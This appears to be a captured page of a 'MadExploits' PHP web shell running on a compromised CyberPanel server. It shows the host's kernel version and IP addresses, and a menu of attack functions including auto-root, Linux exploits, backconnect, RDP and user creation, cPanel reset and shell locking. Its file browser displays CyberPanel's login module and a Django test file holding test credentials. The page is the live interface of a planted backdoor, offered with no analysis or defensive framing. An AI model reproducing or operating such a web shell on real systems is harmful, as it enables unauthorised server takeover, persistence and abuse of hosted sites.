Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
loginSystem /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
static
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.DS_Store
6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
admin.py
151
B
-rw-r--r--
apps.py
123
B
-rw-r--r--
models.py
3.38
KB
-rw-r--r--
tests.py
1.23
KB
-rw-r--r--
urls.py
235
B
-rw-r--r--
views.py
11.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tests.py
# -*- coding: utf-8 -*- from django.test import TestCase, Client from django.urls import reverse import json from plogical.CyberCPLogFileWriter import CyberCPLogFileWriter as logging from loginSystem.models import Administrator # Create your tests here. class TestLogin(TestCase): def setUp(self): ## Initiate Client self.client = Client() self.adminLogin = reverse('adminLogin') self.verifyLogin = reverse('verifyLogin') ## Create Login User response = self.client.get(self.adminLogin) self.assertTemplateUsed(response, 'loginSystem/login.html') def test_verify_login(self): ## Login data_ret = {'username': 'admin', 'password': '1234567'} json_data = json.dumps(data_ret) response = self.client.post(self.verifyLogin, json_data, content_type="application/json") logging.writeToFile(response.content) json_data = json.loads(response.content) self.assertEqual(json_data['loginStatus'], 1) ## Verify response = self.client.get(self.adminLogin) self.assertTemplateUsed(response, 'baseTemplate/homePage.html') ##logging.writeToFile(result.content) self.assertEqual(response.status_code, 200)
Close